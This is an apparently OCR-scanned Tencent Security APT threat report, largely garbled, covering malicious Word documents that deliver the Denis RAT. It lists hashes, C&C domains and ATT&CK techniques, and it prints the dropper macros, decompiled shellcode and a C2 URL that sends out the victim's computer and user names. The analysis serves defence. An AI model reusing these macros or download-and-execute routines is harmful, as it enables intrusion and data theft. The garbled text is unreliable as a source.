BREZ, BElHRREENRRIESIIHRSHHEINE, JHEEEUAFFERSAEA
{RXUBS ;

—EE

¥ WindowsZz 2 EE (KB4499175) B 100. 50MB

4. #HEEEVAFSEBNMIRSREIMENRFRAHERSHE. HASREIMENER
%, RETENREMRSIRENTEEN. IRTBNMERiREEEEEE, kL
RSB IR SRR R .

(https://s.tencent.com/product/gjwxjc/index.html)
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@ ERZe
Tencent Security

TLP: WHITE

7~ PR

6.1 BBl Z 2R EMEHRPC

ElZeflNRIMERPL, E—NEESERSEHIENER O, RPITRZESTES.,
KIEENZ T8RS AR LIS, BENSEEY. MRTEERENHESFTIE,
FEBEERIFEMINE (APT) EFANABRZERMER, BHTEoTARRE, Hif
XITTRESR A TINE . RO,

BRZ2HRNEMERPOARSEFSLLEK, KT AENRMOTTRE, BIEFE
HANFFROSSPEAPEERAY APT RS, TICEPHTIREAIEE DREDHTIREAIR
B, #UHTIRGTKF, R TREZEFNZEERVIFAT, RIFRHRBRELER
BRXMAREMEHITAS

LT EENZ2ENEIIBIRTOARSHI YR, KiTiEiam 4.
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BRZze
TLP: WHITE Tencent Security

6.2 10Cs

MD5:
€7920ac10815428de937f2fca076b94c
4095b9682af13ca1e897ca9¢cc097ec69
b96de3d0023542f8624b82b9773373e9
5¢5f8c80dcb3283afeb092cb0c13a58a
c90c7abcee1d98a8663904d739185d16
d249411f003d05c0ceal12c11ba13716
3489140891e67807c550aa91c67dc4ad
22f8736bbc96c1a58ab07326d730a235
dade969b00cbc4alc1b58eeb0e740b63

3¢c3b2cc9ff5d7030fb01496510ac75f2
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d604c33d6ec99a87a672b3202cb60fa7
861fc5624fd1920e9d9cc7a236817dd7
8e2b5b95980cf52e99acfa95f5e1570b
3c8b2d20e428f8207b4324bb58f5d228
a81424e973b310edd50aed37590f4b8a
cf5d6d28c388edf58e55412983¢f804a
6b8bec74620fbf88263b48c5a11b682e
9eb55481a0b5fcd255c8fb8de1042f88
5c00063b11c4710fe5a5at1adaf208b12
d30bc57624d233d94dc53a62908ef2df
886d0dd67e4cf132a1aed84263d661e3
2b3c5c831ebbb921ac128c4d44d70a7a

1dfb41e5919af80c7d0fa163a90e21e5

C&C:

360skylar.host
wechats.asis
news.shangrilaexports.com
clip.shangweidesign.com

jcdn.jsoid.com
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libjs.inquirerjs.com
baidu-search.net
sys.genevrebreinl.com
ad.ssageevrenue.com
tel.caitlynwells.com

us.melvillepitcairn.com

upgrade.coldriverhardware.com

cdnwebmedia.com
43.251.100.20
43.254.217.67

114.118.80.233

6.3 MITRE ATT&CK

Tactic ID Name
Initial Access T1193 Spearphishing Attachment
Execution T1106 Execution through API
T1129 Execution through Module Load
T1203 Exploitation for Client Execution
T1085 Rundll32
T1204 User Execution
T1223 Compiled HTML File
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T1053 Scheduled Task

T1117 Regsvr32

Persistence T1179 Hooking

T1053 Scheduled Task

T1060 Registry Run Keys / Startup Folder

Defense Evasion T1107 File Deletion

T1140 Deobfuscate/Decode Files or

Information

T1036 Masquerading

T1112 Modify Registry

T1027 Obfuscated Files or Information

T1085 RundlI32

T1099 Timestomp

T1117 Regsvr32

Credential Access T1179 Hooking

T1056 Input Capture

Discovery T1083 File and Directory Discovery

T1046 Network Service Scanning

T1135 Network Share Discovery

T1057 Process Discovery

T1082 System Information Discovery
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T1007 System Service Discovery
Lateral Movement T1534 Internal Spearphishing
Collection T1005 Data from Local System
T1025 Data from Removable Media
T1123 Audio Capture
T1056 Input Capture
T1113 Screen Capture
T1115 Clipboard Data
Command and Control T1043 Commonly Used Port
T1094 Custom Command and Control Protocol
T1024 Custom Cryptographic Protocol
T1001 Data Obfuscation
T1065 Uncommonly Used Port

6.4 k%

https://s.tencent.com/research/report/715.html

6.5 AR AMTS

1. BERBLREFERIIRFNEREHT.doc (c90c7abcee1d98a8663904d739185d16)

ZHABENANBRLTEBGE, MEERRMZFHTHRGREUT:
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[ GERD ~| [GGaD

Application Displayhlerts = False

Dim jorEclorthwVoRK As String
Dim £oiVPeXGCzmpas As String
Dim VoDpLyaRglhhilk As Byte

#If VBAT And Winbd Then
Dim TpmepAMaGAZyudd As Long
Dim UVRIVEUalFliur=G Az Long
Dim pdwFlags As Long
Dim buhBhAwgFAQEERYw As LongPtr
Dim braSCHMndverslp As String
Dim lpFathBytes () As Byte
Dim hFile As LongPtr
#Elsze
Dim JEiPTigjiabMdul Az Leng
Dim zgZdMLcZeNFAFNH As Long
Dim lphddresz A= Long
Dim I¥%FANpeEVIuHSY As Long
pdwFlags As Leng

E)

Di
#End If
#If VBAT And WinB4 Then

SEofVEoXGCexpas = RtuqiSpTTYsIWuR (ActiveDocunent. Parsgraphs, Count - 4)

TpmepAMaGhZiud] = 4054224
UhTVBUalFlknrsG = 5445632

buhBéwPARERTw = nPObwyDTHCT2i THID, T MaGATyudd, LLhehPwlEzgfEED Oy FEVENIMKDAsIREL, FMwdBtcagr@Hwsc)
If (bulBAwzPAQgERIw = 0) Then

GoTo EXCzZjdGkErDelR
End If

YolpLyaRelhhi¥l = AQrEWonELRULALC (s£o¥¥FoXGCoxpas, URIVEVaUFkiursG, GOGuulUkaAVdhol®w, buhBhwgPARgERYw, TpmepAMaGAZyudd, O, pdwFlags)
If (VoOpLyaRgIhhi¥lk = 0) Then

GoTa EXCzZjdGkfrOcLR
End If

brafCiMndverwlp = Environ("temp”) & "\Windows Update. exe”
1pPathBytes = braSCHMndverwlp & Chr (0)

WFile = PtwTSeAREnl ol dH (¥arPir (pPathBytes (1)1, GENERIC_WRITE, 0O, O, CREATE_ATNAYS, 0, 0)
If (WFile = -1) Then

GoTo EACzZjdGkfrleclR
End If

VolpLyaRzThhi¥k = bIV;LLVhyQB-QNu (hFile, buhBAwzPAQeERYw, TpmepAMaGAZyudd, nunberOfBytesiritten, 0)
If (VoOpLyaRelbhilk = 0) Then
GoTo EXC7ZjdGkerDelR

T SRR A AR SRS

End Sub

Sub Autolpen()
TrojanMain

End Sub

FIRF 2 Win64 LI VBAT IR, RANEMBEIARS X4 %temp%\Windows Update.exe:

#If VBRT End Winé&d Then
szPayloadDataf4 = GetParagraphsData (RctiveDocument.Paragraphs.Count - 4)
dwMemSizel = 4084224
dwStringSizel = 5445632
+pbBinaryl = VirtualZlloc(0, dwMemSizel, MEM COMMIT Or MEM RESERVE, PAGE READWRITE )
If (*pbBinaryl = 0) Then
GoTo ENDSUB
End If

b _Is0k = CryptStringToBinaryA(szPayloadDataé4, dwStringSizel, CRYPT STRING BASEG4, *pbBinaryl, dwMemSizel, 0&, pdwFlags)
If (b_Is0k = 0) Then

GoTo ENDSUB
End 1€

szFilePath = Environ(" ) E"
lpPathBytes = szFilePath & Chr(0)
hFile = CreateFileW(VarPtr (1pPathBytes(0)), GENERIC WRITE, 0, 0, CREATE_ALWAYS, 0, 0)
1f (hFile = -1) Then

GoToc ENDSUB
End If

b_Ia0k = WriteFile(hFile, *pbBinaryl, dwMemSizel, numberOfBytesWritten, 0)
If (b Is0k = 0) Then

GoTo ENDSUB
End If

b_Is0k = CloseHandle (hFile)
If (b Ia0k = 0) Then

GoTc ENDSUB
End If

shorcutLink = MakeInkFile(
MsgBox "C 1
Call SendKeys ("

3zFilePath)
e t", vb0KCancel,

e

True)
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FHER—A Ink IHBIEHES, W FRESSBEEIIADHT:

Private Function MakelnkFile(szTargetPath As String)
Dim oWSH As Object
Dim oShortcut As Cbkbject
Dim szPath As String

S5et oWSH = CreateObject ("W3cr
3zPath = oWSH.SpecialFolders("”

szPath = s3zPath & " 3 U C :
Set oShortcut = oW3H.CreateShortCut (szPath)

With oShortcut

w3 T s

.TargetPath = 3zTargetPath

.HotKey = "E

.WindowStyle = "0"

.IconLocation = Environ("windir™) & "

. Save
End With

(]

Set oShortcut = Nothing
Set oWSH = Nothing

MakelnkFile =
End Function

SNER3E Win64 LI VBAT i, NI HARBEIATS, SIEZET:

#Else
szPaylcadData32 =

szPath

GetParagraphsData (ActiveDocument.Paragraphs.Count - 1)

dwMenSize2 = 529006
dwStringSize2 = 1238676

lphddress = VirtualRlloc(0, dwMemSize2, MEM COMMIT Or MEM RESERVE, PAGE EXECUTE READWRITE)

If (lpRddress = 0) Then

GoTo ENDSUB
End If

1e1132.4d411, 46

b Is0k = CryptStringToBinaryA(szPayloadData32, dwStringSize2, CRYPI_STRING BASE64, lpAddress, dwMemSize2, 0&, pdwFlags)
If (b IsOk = 0) Then

GoTo ENDSUB
End If

hThread = CreateThread(0, 0, lpAddress, 0, 0, 0)
If (hThread = 0) Then

GoTo ENDSUB
End If

Call WaitForSingleCbject (hThread, 2000)

#End If

REB=HREX:

Call ClearParagraphsData (ThisDocument.Paragraphs.Count - 4)
Call ClearParagraphsData (ThisDocument.Paragraphs.Count - 1)

MsgBoxErrorMsg
ThisDocument. Save

SHESERMAN:
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[FlPrivate Functicn GetStringByIndex (ByVal dwIndex As Integer) As String
Dim szOut3tring Rs String
sz0utSitring = ""
= Select Case dwIndex
= Case &HO61A
sz0utString = "Error code: 0xClO0A3BT"
Case &LH5B1
gz0utitring
Case SHDEE
sz0utString = "temp”
= Case &HB8BS
sz0utitring
= Case EHBOCA
sz0utScring
Case Else
End Select
GetStringByvIndex = sz0utString
End Functicn

"Something went wrong! Please contact to customer Support!™

"temp""Error”

"Error code: 0Ox800DOTF2"

Private Functicn GetString80CA() RAs String
GetStringB0CA = GetStringByIndex (&HE0CA)
End Function

Private Sub MsgBoxErrorMsg()
Call MagBox (GetStringByIndex (&HS5B1) , vhOKOnly, GetStringByIndex (&HEB8B))
StringB0Ch = GetStringf0Ch
ThisDocument.Content.Text = String80CA
ThisDocument.Save
End Sub

ZRE0ERT AP MUAh B #E SNEE # . doc [Compatibility Mode] - Microsoft Word
Review View
O al@) [= - = - =2 o= 3] ]
clalel Bift=](&-
I}

Paragraph Styles

AaBchD(’ AaBbCcDe Ath AaBb( AaBb( AaBb( “osbceoe AaBbCeDe +
¢ Normal

¢ No Spac.. Headingl  Heading 2 Title Subtitle Subtle Em...  Emphasis |

SO0 r vaw B u

3 oW 2@ @
t r® =
FRBES BRGgEe 08 WP EQrs @

Lt HNEW) SERFR:2E JIPES Fries

§ Twmpwn. 29seRe

¢ 5 e
e 2 2 PRE W=
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YHEU S EE YA ER TR IR T doc [Lompatibility Mode] - Microsott Word

lings Review View

§| |ﬁ”_| |AaBbCcDe | AaBbCcDe AaBLk AaBb( AaBb( AaBb( zcsbcen
'A'|J|— 2= & | i tiomal Bebtatoonc | Heniingd § Hentngih fTile Subtitle  Subtle Em..
=

| Paragraph (F] j | Styles

]

[rror code: 0x200D07F2

Windows Update.exe J97£ win64 LA VBA7 IME MRERAGEREN M, MEMLBANHGS

REEERMMTRIIESABERZRITIESAEER:
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e e -
seghBl:BBaEa27A var _C
Segeen: @PREe27A var B
seghBe: BBREB2TA var_4
Seglbl: BBREB2TA
seghbl: BBREB2TA
SEgeee: 8BREB2TE
seghb;: BBREB2TF
seghbe: pBREB280
seghbl: BBREB2E3
seghBd: BBRER284
SeghBe: POREB2EE
seghoo: BBREB2BE
seghbe: BBeEB28C
seghbd: BBREB2ED
SEgBee: BBREB2EE
seghbe; BEREB2EF
seghBo: BBREB29L
seglBl: BBREB203
seghld: BBRER298
Segeee:eeeEs29D
seghbe: BBREB20F
segfBe: BBREB2AL
segBbe: BBREB2AS
SEge0e: BBREB2AT
segeba: GaREa2ZAE
seghBe;: BBBEB2AE
seghbl: BBREB2AF
seghbd: BBRER2EA
SEghBe:PBREB2EL
seghBl; BBREB2E3
segBBe: BBREB2BS
seghbe: BBREB2B6
SEgPee: BBREB2ES
Segeee: eBeEB2E9
seghBe: BBREB2ED
seghbl: BBREB2BE
seghBl: eBaEa2C1
SEgeee:eeeEB2(5
seghBe; BeeEB2(9
sSeghBe: BBREB2CA
seghbl:BBREB2CE
segBBl: BABEB2CF
SeghBe: peRES2DEe
seghoe: BBREB2DS
seghbl: BBREB2DE

mul

sahf
push
chw
bswap
inc
or
cdg
mov
das

mov
mov
aas
mov
push
papf
mov
lea
mov

[FR——
ptr -8Ch
ptr -8
ptr -4

esp, [esp-4]

ecx
ecx, 3
ebx

bh

eCX, BCX
xX; 6
eax

edx

eax,
ecx,
ecx
al
ebx

cx, 56k ; "P°
(.4

ecx

edx
edx
dh, dl

edx, [esp+iCh+var_ 18]

bx, cx
ebx, [esp+lCh+var_l18]
ecx, [esp+lCh+var_C]

eax, [esp+lChtvar_8]
eax

eax, [esp+lCh+var 14]
esp, [esp+l8h]
[esp+a+var_4], ebp

text
.text
-text
Ltext
Ltext
text
Jtext
Ltext
Stext

-text
Ltext
Jtext
~text
Jtext
JRext
~text
.text
.text
-text
JRext
text
Ltext
JRext
text
-text
Jtext
Ltext
Ltext
dext
Ltext
Jtext
text
-text
Jtext
Ltext
~text
dext
Jtext
Ltext
text
.text
-text
Ltext
Jtext
~text
Jtext

R RAT (KRR EELE AR denis K5:

:8@4E1278
18@4E1278
1BB4E127B
1804E1278
1BB4E1278
1BB4E127B
1BO4E127F
1BR4E1288
1BB4E1281
18e4E1284
1BB4EL2BS
1BB4E1287
1BB4E1289
1BB4E128D
:B04E128E
1BR4E128F
1Be4E1290
:804E1292
18e4E1204
1BB4E1299
:BB4E129E
1BR4E12AB
TBB4E12A2
:BB4E12A4
1BRAEL12AB
1BB4E12AC
:BRAEL12AF
1BR4E12B8
1BB4E12B1
18B4E12B2
1BB4E12B4
1BB4E1266
1BR4E12B7
1BB4E12BI
:BO4E12BA
1BR4E12BE
1BB4E12BF
:B04E12C2
1804E1206
1BR4E12CA
:B@4E12CB
:B@4E12CF
1BB4E1208
1804E12D01
18@4E12D5
1@8B4E1209
1804E12DC

var_18
var_C
var_38
var_4

= dword
= dword
= dword
= dword

lea
pushf
push
shl
push
inc
or
shl
push
aaa
push
cwd
cwd
mov
mov
mul
neg
bswap
mov
mov
mul
stc
sahf
push
chw
bswap
inc
or
cdg
mov
das
mov
mov
mov
aas
mov
push
popf
mov
lea
mov
mov

ptr -16h
ptr -@ch
ptr -8
ptr -4

esp, [esp-2]

ecx
= R
ebx

bh

ecx, ecx
cx; 6
eax

edx

eax, 2A@2h
ecx, @DE43h
ecx

al

ebx

ax, 6Ch

cx, 568h

x

ecx

edx
edx
dh, dl

edx, [esp+lCh+var_18]

bae, cx
ebx, [esp+iCh+var_1@]
ecx, [esp+iCh+var (]

eax, [esp+iCh+var_8]
eax

eax, [esp+iCh+var_14]
esp, [esp+lBh]
[esp+a+var_4], ebp
ebp, esp
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DOIEEEEL| TS 41 A4 DA(OO 085 A4 45|05 00 24 01|00 00 14 00|«
DOIEGECL 00 00 6T 0068 00 9 00|64 00 6 00 (6C 00 8D 00|, .
DOIEREDA|BE 00 BF 00 [TO 00 T4 00|00 00 53 00 |4F 00 46 00(n
DO1ESSEL|Bd 00 BT 00 (41 00 B2 00|45 00 5C 00 (41 00 TO 00|T
DOIERSFL|TO OO BC 00 (41 00 TO 00| T0 00 53 00|37 00 30 00(p
DOIERSOL| 51 00 35 0032 00 34 00|38 00 38 00|83 00 37 001
DOIERS1A|GE OO 35 00 (34 00 66 00|37 00 66 00|38 00 30 005
DOIEESZA|EE 00 34 0038 00 31 00|39 00 38 00|35 00 64 00|f
DOIERSEA| 358 OO 37 0035 00 38 00|35 00 84 00|6C 00 41 008
DOIERSAL|TO OO TO 00 [8C 00 89 00|63 00 51 00|74 00 89 00|p
DOIERSEL|BF 00 BE 00 [TA 00 00 00(53 00 4F 00|48 00 54 00|o.
W
k!
=}
]
4
T
f
n

e

MAEp MEAMEERY QAR o=0n
Sp R OO0 Do e e o T R e O Ot s DL T
Lo R Al B

DOIESSEL| BT 00 41 00|62 00 45 00|52 00 41 00| T 00 TO 00
DOIEESTA|BC OO 41 00 (T0 00 PO O0[BE OO 3T 0030 00 31 00
DOIERDEL |56 00 32 00|34 00 35 00[36 00 63 00|37 00 35 00
DOIERDOA |36 00 34 00|66 00 37 00[66 OO 38 00|30 00 656 00
DOIERSAL |34 00 38 00|31 00 39 00|38 00 35 00|64 00 35 00
DOIEESEL| ST 00 35 00|38 00 36 00|64 00 BC 00|44 00 85 00
DOIERSCA|GE 00 61 00 (TE 00 8C 00|74 00 49 00|63 00 &F 00
DOIERSDA|GE 00 08 00 (00 00 44 0061 00 T4 00|61 00 05 00 |n.
DOIERSEL |00 00 64 00|65 00 86 00 [3C 00 00 00|1C 00 00 00|..
DOTESSEA|FS Q0 36 00|30 00 T3 00|68 OO0 79 00|60 00 61 003,
DOIEBACL| T2 00 2E 00 (88 00 6F 00|73 00 T4 00|18 00 00 00(r...

w

a

T e T s e

R e e e o i

DOIESALL|TT OO 65 00|63 00 68 00[61 00 T4 00|73 00 ZE 00
DOIEBAZA|EL 00 T3 00|69 00 61 00(05 44 08 00|00 00 00 00|a.
DOIESAGA |00 44 05 00 (4D BA 90 00|03 00 00 00 |0d 00 00 00|, D i
DO1EEAAL |FF FF 00 00 (B8 00 00 0000 OO 00 00|40 00 00 00| ..Y...... @. ..
DOTESASA OO OO OO 00 (00 QO OO QO 00 oo 00 00 (00 00 Q0 00, ... e eeea..
DOIEGASA | OO QO OO 00 (00 Q0 OO QC a0 oo 00 00 (00 00 0 00, .. e eeea..
DO1ESATA|ES Q0 00 00 |OE IF BA OE|00 B4 0D CD |21 B8 01 4C|%7. . L PY0L
DO1EEASA|CD 21 B4 BB (82 T3 20 TO|TZ 6F 6T T2|61 6D 20 83|YThis program c

DO1ESASA |Gl BE BE BF (T4 20 62 65|20 72 Th 6E|20 69 fE 20|annot be run in
niERitEldd AR RR onlan AR Ad @RleR omoan neled nnoon nnltng mads t

2. A EB-XKTHHIE 2019 FELZEWSEZBIRENFIRTIRES.doc

Hropoa;

(3c3b2cc9ff5d7030fb01496510ac75f2)
IZEEAR R ERERINEE, 2B EENEEE N SRR BRSBTS
BEEEFEN%temp%\~$doc-ad9b812a-88b2-454¢-989f-7bb5fe98717e.0le (dIl X

) , FBIEfER regsvr32.exe INEHITIZ dll:
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Sub Autolpen ()

DIim xzohwlbege Az String

Dim dzujulftdeotqnfxkeztzgv As Integer
Dim zzzembyzipmdShierqql)l Az Byte

DIim tdjgzpgusddzsludr hs String

DIim egpzspddlwhitzulnepfvpwke As String
Dim mjzhfpll=lkdsr A= Object

Set mjzhfplfclkdr = Hothing

For Each jezwbsomwxmfrniZbutu In Actiwellocument. Shapes

If jezwbzouxminiZbutu Type = msoTextBox Then
Set mizhfpl?skdr = jerwbsouxmfniZbutn

End If

Hext jczwbsouxminiZbuin
If mjzhfpkf=kdr I= Hothing Then Exit Sub

egpzspddlvhi tzulnepfvpwke = “Hdoc-ad9bE12a-88b2-454c-958 F-ThbS£e95T1Te. ole”

xzohvlbeze = Environ$ ("TENE™)
bldefybxll xzohwlbege

xzohwlbeze = xzohwlbeze & egprspddlvhitzulnepfrvpwke

Eellim szgembygipmdShjerqq(1553407) As Byte
frupSzzg = mjzhfplfskdr. TextFrama TextRange Text

xeribejbslafpesxuwvg szgembyzipmddhjergq, frupSzsg

dzujulftdeotgnixkezrtggw = FreeFile

Open zzohwlbage For Binary Az #drujulftdectqnixleztzgv
Fut #dzujulfideotqnizkezizgy, |,

Close #drujulftdeotqnixkeztzgw

tdjgpqusddzsludr
tdjzpqusddzsludr
tdjzpqusddzslndr

Shell tdjgzpqusddzsludr

e

"regsvr3Z. exe
tdjzpqusddzzludr & zzohwlbeze
tdjzpqusddzsludr & “7°

Application Buit SawveChanges:=wdloNotSaveChanges

End Sub

iz dll s, SFIESE, BT IR regsrv32.exe IIEBC:

szgembyzipmdShiergg

% "$doc-2d9bE12a-5Eb2-454c- 959 £-ThbS £e35T1Te. ole

AT S regsvr 32, exe ~$’d‘ocEd9b3123—88b2—454c—989f—Tb'beegBTlTe. ole
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1HRESULT _ stdcall _ noreturn D11Install_@(BOOL bInstall, LPCWSTR pszCmdlLine)

29

(= IRESV . RN, R -SRI R SEY .~ R ¥ e TR [ DN, B N YIRS S SR Y B TR R RN WY R S = R = 4 RN W RS WV S R~ V= = R R I S T

WCHAR *v2; // esi
void (__cdecl *v3)(); // eax

signed int v4; // [esp-478h] [ebp-484h]
int vs; // [esp-43eh] [ebp-43Ch]
__intle ve; // [esp-418h] [ebp-424h]
int v7; /f [esp-218h] [ebp-21Ch]

int v8; // [esp-198h]
int v8; // [esp-184h]
_ intle wvi@; [/ [esp-

int vi2; // [esp+8h] [ebp-Ch]

int w13; // [esp+4h] [ebp-8h]

int retaddr; // [esp+Ch] [ebpt+eh]

v13 = retaddr;

vll = (unsigned int)&w12 *~ _ security cookie;
IstrepyW( (LPWSTR)&V7, L"zTDRPt1uCRGZExMAVFUV™);
Istreati( (LPHSTR)&V7, L"hcgiSpCGOeWyalIaFDac”);
IstrcatW( (LPWSTR}&V7, L"KRKyxgqloVsmFHDYSESC2"};
Istreatid( (LPWSTR)&V7, LUN92KG7KSpA211GAd20PZA");
IstrcatW( (LPWSTR)&v7, L"7QwZvnRXrIpsROgWr3Ng™);
IstreatW( (LPWSTR)&V7, L"wyclIH14ChxcgeX10go2™};
IstreatW((LPUSTR)&7, L"IG1IiXH28HsghlpldQiQ");
IstrcatW( (LPUSTR}&vT, L"LGJABBZ7SAZsiXuguCld™);
IstrcatW( (LPWSTR)&v7, L"7xJcCLENWhynMXIwNSDL™);
Istreat( (LPWSTR)&v7, L™nF48labKeYsz7LOBvZbb™);
vig = ;3

vE = @3

if { GetEnviromnmentVariableW((LPCWSTR}&vE, (LPWSTR)}&vG, @x184u) )

{

v3 = (void {_ cdecl *)())sub leee127a();
it w3 )
VETSH

else

1
SetEnvironmentVariableW((LPCWSTR)&vE, (LPCWSTR)&VI);
v2 = GetCommandLineW();
GetModuleFileNameW(®, (LPWSTR)&vE, @x164u);
_mm_store sil28(( ml28i *)&vs, (_ ml253i)@ied);
memset(&v4, @, Bxddu);
vl = 68;

CreateProcessW( (LPCWSTR)&v6, v2, @, @, @, @, @, @, (LPSTARTUPINFOW)&4, (LPPROCESS INFORMATION)&S);

ExitProcess(@);
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@ BiRze
Tencent Security

TLP: WHITE

£ (

v7 = SizeofResource(h

e

if (v7 >8)

LoadResource(

v Y

9 = LockResource(vs);
if (va )
if { ({116 * {unsigned _ int1&)(*w9 >> 16) + 941} | (444416 * (u intle)*vo + @xl2eea)) == vo[1] )
{
dword_1@88EB28 =
dword_1888EB2C =
return 1;
1
if ( vie
dword_1888EB24 = v7 - 12;
dword_1808EB26 = (int)v
1
4)
1
}
i
1
raturn 1+
bi __-ad9bh8123-88h2 454c-989f-7b I
- — ——
-7 Configuration Files
Bl [E File: __-ad9812a-88h2-454c-9¢ "w’?l‘:“:im — B e = o,
8 - ST
37""5"937’7"“"" G s Offs=t | 0. T 2.3 & 5 6 % B % & BE ® D E E | #eess
[~ Do Hender ) 143 - Mlang:621] 00000000 | 96 4F 65 2E 71 53 B7 1B 01 00 00 00 D9 E9 DI 74 | 10=.q¥ 11, . .U&0t
> ] llang:621] e gt
& Nt Headers 00000010 | 24 F4 BA FS F2 D4 5C SE 31 €9 B9 94 90 03 00 31 | $a25a0~"1E1) g 1
= File Header 00000020 | 56 1B 83 CE 04 03 56 E2 10 21 E4 0C D5 C& 15 E4 | VIIELIVAlIZ10E1E
3 Optional Header 00000030 | DC CC 15 F4 53 68 31 F4 6B 73 34 1F 46 22 B7 93 | l118Shidks: F" |
] e 00000040 | BD CO EC E3 A5 08 05 23 Fi 40 61 07 D3 50 86 78 | MAiZ¥|1#1@a10F1x
2] Data Directories b 00000050 | DC 6A AE 74 51 86 AS B9 CF OC 32 39 79 28 61 CB | UjetQre:l129y(ak
— (3 Section Headers ix] 00000060 | BA 1C 69 3B 3D 5F EC 3B Db B8 86 3B 28 47 57 53 |2 d:=_i:0,1:(GUS
|— £ Beport Directory 00000070 | 28 47 57 A3 40 47 57 A3 90 2F 57 A3 90 AF 3F A3 | (GWL@GWE ~Wi
b= 00000080 | 90 2F BF CB 90 2F 8D 0B F9 65 0D 0B F9 11 59 OB ZiE 2 1ue
— CDimpor Directory 00000090 | F9 E1 09 4C F9 &4 C9 34 F9 26 83 Bh 91 75 13 9F r 1
— (C3) Resource Directory 000000A0 | 61 12 36 DF 2E E2 50 9C BO DF A0 44 94 1F 87 BA | aleB.&PI°B JI 11
|— £ Relocation Directory 000000BO0 | BE 52 C7 CF 3E 05 89 CF 7F D& 7D BA 7F 87 7D 7C | HRCI>11L10}1
& 000000CO | DS 27 2D 7C BD 14 D1 59 3D OD F7? Al 7F CD 9F E4 | O'—|m1Hy=
[ “h Address Converter 000000D0 | 7F E8 SF BE 3E F2 12 4E 49 A0 AC 00 29 2D F9 9C
— %4 Dependency Walker 0D0000ED | 6C &D 69 CC GE FB 69 B4 21 D2 27 54 D6 27 B7 17
|— . Hex Editor 000000F0 | 26 40 F6 97 1B 90 90 FO 63 AF 60 96 13 CF OE 66

RIER 21, — shellcode+—MpZesciy:

~ e EA TEAE 38 e4 =8 498
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@ BRZe

TLP: WHITE Tencent Security
feL4e808| DOE? fld12t

aayhpaa2 DO7L2h4 FY fstenv (28-byte) ptr [esp-C]
BeL4 00806 BA FSF2D4SC mov edx, SCDUFZFS

aa44aa8B| SE pop esi

844 a08C 31C9 xor BPCX, PCH

aeL4B0BE B? 2a900304 mouv ecx, 39894

3156 1B xor dword ptr [esi+1B], edx
08440816 83C6 B4 add esi, 4

aa44a819 8356 17 add edx, dword ptr [esi+17]
8844881C |~ E2 F5 loopd short 08448613

ShellCode f#% 5, FEBIFMNINEEREL, 5 BT TE1T ShellCode F10Zk Denis T

BARE, WRINTE shellcode HUTRIBEMASEINEL denis ixiE (FEEF shellcode

HITREEIRME])
Function name Segment Start Length
[F] sub_45 sez000 00000045 0000000E
|
F| sub_50 sez000 000000S0 0000000
|
F| sub_TZ sez000 0000007 OO000OFE
| F| =ub_163 download & exzec shellcode sez000 00000165 0000140z |
F| sub_E180T zez000 OO0E1S07 0000000
[[£] =ub E180F load denis RAT e 000 O00E150F 00002474 |

T shellcode HHITIHEED T WEIHAR jcdn.jsoid.com:

S L LI e P2 LB T

seghae: paaeally push 1EE
Segels : BeeRe11C push 42@888h
seghae:paaeal21 push 6DeB6Fh ; om
seghae: paaeal12e push 63882Eh i
seghae: paaeal2e push 6488690 5. 3d
seghae: Baaealie push GF@873h 3 SO
seghaa: paaeaL3s push BABB2ER ooy
seghae:Beaaal3n push GE@BGLh ; dn
Segles: peeRal3F push 638864h 3 jc
seghhe: aeaeelas push 41 @aaa8h
seghha: paaeal4n push aCaea4rh
seghae: paaea14E lea eax, [esp]
Seglea : Beesa1s1 push BCe
seghaa: paaealses push eax
seghae: paaealsy call sub_ 168
seghha: paaealsc lea esp, [esp+BC2h]

— sSeghel:aeesale3 jmp loc_156A

Segaaa: peeanlos

i#@id ExpandEnvironmentStringsW SREAMEZEFRIHTENE. AFE. BERAEE

B, BEHHEA5E8 url, i5ia & ShellCode:
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@ BiRze
Tencent Security

TLP: WHITE

WORD *)((char *)v188 + 2 * v218 + 2);
)
__thiscall *)(int *, int *, int *, signed int))ExpandEnvironmentStringsW _v319)(// "/script/word.png?A=%COMPUTERNAMEX&B=RUSERNAMERRC=R0SX"

@x408) ;
goto LABEL_335;
case 77:
w323 = (int (_ stdcall *)(_DWORD))*v188;

mm = (int *}((char *)mm + 2);
w185 = (_WORD *)((char *}w188 + 2 * v221 + 2);

if (w22l )
((void (_ thiscall *)(int *, int *, dint *, signed int)}ExpandEnvironmentStringsW_w319)}(

= &y253;
I{_WORD}w253 )

v235 = @;
tmp = WinHttpSendRequest(// WinHttpSendRequest
w226,
w235,

{
<
1 = y234;
5
(

w32
|| (w387 = (int (__stdcall *){int, _DWORD)})&unk 4,
315 = @,
v3al(// winhttp.WinHttpQueryHeaders

w226,

Bx2evepols,

8,

&v315,

&v3a7,

8),
LOBYTE(tmp) = w327,
w327 == v315) )

36 = v388;
37 = w299}
2o = @3
98 = @;

w388 = @;
if ( !'v237(va2e, &v388) }// winhttp.WinHttpQueryDataAvailable
break;
if ( lv3es )
break;
if ( !v236(va2e, &v252, &unk_ 10800, &v389) )// winhttp.WinHttpReadData
break;
if ( lv3es )
break;
(*(woid (_ stdcall **)(int, char *, int, int *))}(*(_DWORD *}v314 + @x18))(// ole buf
v31d,
&v252,
w389,
&v298%:
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@ BiRze
Tencent it Securit, y

TLP: WHITE

HHZER9 url A3:

https://jcdn.jsoid.com/script/word.png?A=%COMPUTERNAME%&B=%USERNAME

%&C=%05%

SRS ShellCode, FHAAT:
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https://jcdn.jsoid.com/script/word.png?A=%25COMPUTERNAME%25&B=%25USERNAME%25&C=%25OS%25
https://jcdn.jsoid.com/script/word.png?A=%25COMPUTERNAME%25&B=%25USERNAME%25&C=%25OS%25

BiR=E=
TLP WHITE Tencent Security
LOBYTE(tmp) = GetHGlobalFromStream(v3l4, &v31e);// ole32.GetHolobalFromStream

if ( v31e }

= ({int {_ stdcall *)({int))}w311)(v318);// kernel32.Globallock

v239 = 8;
w329 = @;
do
i
Wzl = v239;
v248 = v239;
v24l = 83
do
1
v242 = v240;
w243 = v240 >> 1;
v24e = (v248 »» 1) " 9xEDB38328;
if ( (w242 1)
V248 = v24

int8)(v245 ~ *(_BYTE *)v247)] ~ (v245 >> B);

if ( *(_DWORD *}((char *)v238 + v244 - 4) == ~y245 }// check hash

*( DWORD *)(f{char *)}v238 + v244 - 4) = @xC3C3C303;

v3ll = @;

if { v3es(v233, v244, B4, &311) )}// VirtualProtect
r238();// Call Payload

LOBYTE(tmp) = v3@6(v318);
v227 = v33@;

}
¥

SNER T HARLINEE hash 3G, NR HEREHIT 7 —ThREREL: INEk Denis HRIEAS:

A
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BiR=E=

TLP: WHITE il o
